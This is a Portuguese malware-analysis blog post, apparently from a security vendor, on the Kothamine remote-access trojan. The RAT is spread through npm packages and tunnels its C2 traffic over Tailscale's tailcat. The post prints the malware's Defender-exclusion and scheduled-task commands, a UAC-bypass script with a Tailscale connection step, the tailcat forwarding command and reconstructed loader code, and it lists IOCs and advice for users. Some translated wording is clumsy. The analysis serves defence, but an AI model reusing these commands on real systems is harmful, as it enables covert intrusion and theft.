O malware Kothamine usa o tailcat do Tailscale para burlar a detecção de rede. 

| 25 de setembro de 2026
O malware Kothamine usa o tailcat do Tailscale para burlar a detecção de rede. 

Descobrimos um Trojan de acesso remoto (RAT) não documentado chamado Kothamine Agent . Ele suporta mais de 30 comandos e dá aos atacantes o controle de um sistema infectado. Windows computador: eles podem executar comandos, ler e modificar arquivos e adicionar novas funcionalidades. Algumas versões também podem roubar dados do navegador e gravar através da câmera e do microfone. 

Descobrimos que o Kothamine está associado a pacotes npm maliciosos, o que pode colocar em risco usuários e desenvolvedores que instalam esses pacotes. Em versões recentes, o malware usa o tailcat , uma ferramenta de código aberto da Tailscale, para receber comandos por meio de uma conexão criptografada. Isso dificulta a inspeção de suas comunicações e impede que os defensores bloqueiem um domínio de comando e controle (C2) convencional.

Com base nos uploads do VirusTotal e nos commits do GitHub, o Kothamine parece estar em desenvolvimento ou distribuição desde pelo menos julho. Versões anteriores utilizavam o Tailscale. VPN em vez do tailcat. Dependendo da versão, o malware inclui as ferramentas de rede ou as baixa de fontes como o GitHub.

Como se manter seguro 

Antes de instalar um pacote npm desconhecido, verifique seu repositório, mantenedores, dependências e versões recentes. Procure por relatos de atividades maliciosas e dê preferência a pacotes com histórico consolidado e manutenção regular.

  • Verifique o nome com atenção. Certifique-se de não estar baixando um pacote falso com um nome semelhante. 
  • Verifique o desenvolvedor ou a organização e certifique-se de que a editora pareça legítima. Veja, por exemplo, se ela possui um site ou um repositório no GitHub. 
  • Leia algumas avaliações, problemas e relatos. Pesquise o nome do pacote no Google e verifique se há relatos de possível malware detectado. 
  • Veja como ele é popular. Um pacote com muitos downloads e usuários geralmente é mais fácil de verificar do que um pacote totalmente novo, sem quase nenhum histórico. 

Análise técnica

Kothamine e os pacotes npm maliciosos

O Kothamine é escrito em C e C++. Na maioria das amostras que analisamos, ele consiste em um injetor e uma DLL contendo o agente. O agente suporta mais de 30 comandos, permitindo ao operador controlar o sistema infectado e carregar DLLs adicionais para ampliar suas capacidades.

O agente Kothamine sofreu algumas alterações ao longo do tempo. As versões anteriores encontradas no VirusTotal utilizavam o Tailscale. VPN em vez de tailcat, e as strings não estavam criptografadas. Alguns recursos, incluindo uma forma de burlar o Controle de Conta de Usuário (UAC) e comandos de roubo de dados, foram detectados apenas em determinadas versões. 

Em algumas versões, o Kothamine baixava os arquivos do Tailscale do site oficial do Tailscale ou de um repositório do GitHub, em vez de incluí-los no agente.

O mesmo repositório do GitHub é citado em um conselho sobre um pacote npm malicioso chamado dotnet-runtime-baseO pacote de download npm-sc-legit.exe desse repositório. No momento da redação deste texto, outros dois pacotes publicados pelo mesmo desenvolvedor haviam sido removidos.

Os autores dessas campanhas cometeram um erro e publicaram instruções para a compilação. kothamine-stub-cpp em um dos pacotes. O guia também aborda o carregamento de assemblies .NET, algo que não observamos nos exemplos que analisamos.

O npm-sc-legit.exe O executável é uma versão compilada do Kothamine que também contém comandos para roubar dados. Não encontramos um painel ou construtor para o Kothamine, mas os recursos presentes em diferentes versões sugerem que os operadores podem habilitar funções e comandos específicos conforme necessário.

A análise a seguir se concentra em uma amostra recente do Agente Kothamine que usa o tailcat para comunicação C2.

Como funciona o agente Kothamine

Nas versões analisadas, um executável internamente denominado Kothamine Injector injeta a DLL do Kothamine Agent, normalmente em explorer.exeTambém fazemos referência a versões anteriores para mostrar como o agente mudou.

1. Injetor de Kothamine

O injetor de kotamina realiza as seguintes operações: 

  • Adiciona Windows Exclusões do Defender usando o PowerShell
  • Copia-se a si mesma para %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Extrai a DLL do agente para %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Cria up.ps1 em %TEMP% para persistência
  • Injeta a DLL do agente em explorer.exe usando OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreade LoadLibraryA

O up.ps1 O script cria uma tarefa agendada para obter persistência usando o executável Injector: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. Agente Kothamine 

Agente iniciante 

O agente cria um mutex chamado Local\KothamineAgentInstance e inicia seu fio condutor principal.

Em seguida, executa comandos do PowerShell para adicionar o executável e a DLL ao Windows Lista de exclusão do Defender:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

Em versões anteriores, as strings não eram criptografadas. As versões recentes descriptografam as strings diretamente no código ou por meio de funções que usam XOR com uma chave diferente para cada string.

Comunicação C2 usando tailcat 

A característica distintiva do Kothamine não é a complexidade técnica, a funcionalidade do agente ou a ofuscação, mas sim o uso do Tailcat e do Tailscale. VPN para receber comandos a serem executados. Isso proporciona ao agente um canal de comunicação resiliente e criptografado.

Tailcat é um projeto de código aberto recente, lançado pela equipe da Tailscale. O Tailcat utiliza o plano de dados da Tailscale (WireGuard, NAT traversal e DERP), mas sem o seu plano de controle. De acordo com a documentação oficial, isso significa que o Tailcat não possui endereços IP, contas, administradores, usuários, controles administrativos ou governança. Essas características, portanto, o tornam uma ferramenta atraente para uso em malware. 

Ao contrário da escama da cauda VPN O Tailcat não exige conta nem registro de dispositivo. Seus desenvolvedores o projetaram para conexões de curta duração.

Como não existem contas, o acesso é baseado na posse de um endereço tailcat e das chaves públicas usadas para identificar os dispositivos de conexão. Isso não torna a conexão completamente anônima: os servidores de retransmissão hospedados podem reter registros de metadados.

O tc-address O parâmetro `forward` permite que o cliente obtenha as informações necessárias para rotear corretamente a solicitação. Além disso, o `tailcat` não exige acesso privilegiado à máquina, pois utiliza a ferramenta de linha de comando (CLI) e bibliotecas do espaço do usuário. 

Nas versões recentes do Kothamine, o agente extrai o tailcat de seus recursos e o salva como %ROAMING%\TailscalePortable\tailcat.exe.

O executável tailcat é iniciado com o CreateProcessA função e os seguintes parâmetros (internamente denominados como spawn_tailcat_forward fase): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

Este comando torna as portas do servidor tailcat disponíveis como portas TCP locais padrão (18080 (neste caso) e as solicitações são encaminhadas para a porta 4444 do nó do operador. Kothamine usa funções de socket para se conectar a 127.0.0.1:18080, onde o gato-da-cauda está ouvindo. 

Se a string de ID do agente não estiver vazia, o agente enviará uma solicitação de perfil criptografada contendo as seguintes informações (run_c2_loop fase): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

Em seguida, o agente entra em um loop infinito para receber comandos para executar do C2 (run_c2_loop fase). O agente aguarda novos comandos para executar usando o select A função socket envia periodicamente mensagens KEEP-ALIVE caso nenhum comando seja recebido. 

As mensagens trocadas com o C2 são criptografadas e descriptografadas usando AES-GCM (aes_encrypt fase).  

A chave AES de 32 bytes é decodificada em base64 a partir da string (c2_key fase): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Comandos suportados 

Nesta versão, o agente Kothamine suporta 30 comandos. relacionado a: 

  • Interação com processos
  • Interação com arquivos e diretórios
  • Executar comandos do shell
  • Ampliar a capacidade do agente com base nas DLLs recebidas.
Nome do comando Descrição 
sysinfo/systeminfo, curpid Retorna informações do sistema, como PID, caminho atual, nome do host e sistema operacional (definido no código). 
tasklist, kill Retorna os processos obtidos através de “ tasklist /FO CSV /NH ”. Encerra o processo especificado pelo PID usando “ taskkill /F /PID ”. 
ping Teste de funcionamento: “Pong” retorna ao C2. 
ipconfig Executa o comando “ ipconfig /all ” e retorna o resultado. 
exec, shell_execExecuta comandos do shell com _popen() e envia a saída de volta. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdInterage com arquivos e pastas no sistema. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadLê, escreve e apaga arquivos arbitrários. 
load_featureEscreve e carrega uma DLL codificada em base64 recebida. A DLL é carregada usando LoadLibraryA e o método “ GetFeatureApi ”, resolvido via GetProcAddress , é executado. Salva os ponteiros de função necessários para executar a função. 
exec_feature, features, list_features, unload_featureEle interage com os recursos carregados para visualizá-los, executá-los ou removê-los. 

Dado que os demais comandos são comuns aos outros agentes, o foco da análise está no sistema de "plugins" que permite ao operador receber DLLs e ampliar a funcionalidade do agente. 

Sistema de plugins 

Para carregar uma nova DLL, o operador usa o comando: 

load_feature <name> <B64EncodedDLL> 

Em linhas gerais, o processo funciona da seguinte maneira. O código e os nomes das variáveis ​​abaixo foram reconstruídos a partir dos registros de uso e saída.

  1. Primeiro, o agente verifica se a funcionalidade já foi carregada e, em caso afirmativo, a descarrega: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Ele tenta criar a DLL recebida em um local obtido através de GetTempPath ou SHGetFolderPathAou no caminho codificado. C:\Windows\TempEle grava a DLL decodificada e a carrega com LoadLibraryA.
  1. Resolve e executa o GetFeatureApi método da DLL carregada: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Não encontramos uma DLL que nos permitisse analisar completamente a estrutura retornada por GetFeatureApiNo entanto, ao analisar o código e as strings, identificamos os seguintes campos: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

Os ponteiros para a DLL carregada e a estrutura retornada são salvos no ambiente global. variável chamada internamente g_features, utilizando esta estrutura: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Executa o init função contida na estrutura retornada, passando a ela a função usada para comunicação C2: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

Após o carregamento da funcionalidade, o operador pode executá-la usando o comando: 

exec_feature <functionName> [args] 

Diferentes builds de Kothamine: Tailscale VPN , Desvio do UAC e comandos de roubo 

Como mencionado anteriormente, detectamos versões do Kothamine com diferentes capacidades.

As versões anteriores utilizavam a escala de cauda. VPN antes do lançamento do Tailcat. Eles baixaram e executaram o instalador do site da Tailscale com o /quiet e /silent flags, ou baixaram os arquivos necessários diretamente do GitHub. Isso incluía tailscaled.exe, tailscale.exe, tailscale-ipn.exee wintun.dll.

Algumas versões ignoram o Controle de Conta de Usuário (UAC) usando fodhelper.exe para executar elevated.ps1No exemplo abaixo, o script do PowerShell inicia um Tailscale. VPN conexão:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

O agente então se conecta à porta. 4444 em um endereço IP de rede Tailscale (100.x.x.x) e começa a receber e executar comandos.

Finalmente, como mencionamos anteriormente, diferentes versões do Kothamine suportam outros comandos. Por exemplo, a versão enviada para o GitHub inclui comandos adicionais, como: getdiscord, getsessions, screenshot, screensharee cameraIsso permite que os operadores:

  • Roubar cookies de vários navegadores
  • Roube arquivos JSON relacionados a jogos, incluindo arquivos associados ao Steam e ao Minecraft.
  • Faça capturas de tela e grave vídeos usando a câmera e o microfone.
  • Acessar o conteúdo da área de transferência

Indicadores de comprometimento

hashes SHA-256 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Injetor de Kothamine analisado no blog 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cAgente Kothamine analisado no blog 

URLs 

  • https://github[.]com/cphc811-ui/Repositório usado para baixar executáveis ​​e DLLs associados ao Tailscale. VPN 

Agradecimentos    

Aviso da Mondoo sobre o pacote npm analisado .


Navegue como se ninguém estivesse olhando. 

VPN Malwarebytes Privacy VPN sua conexão e nunca registra o que você faz, para que a próxima notícia que você ler não pareça algo pessoal.Experimente gratuitamente → 

Sobre o autor

Gabriele é um engenheiro de pesquisa de malware que adora combater malware. Quando não está fazendo isso, você o encontrará curtindo a natureza, a arte e os animais.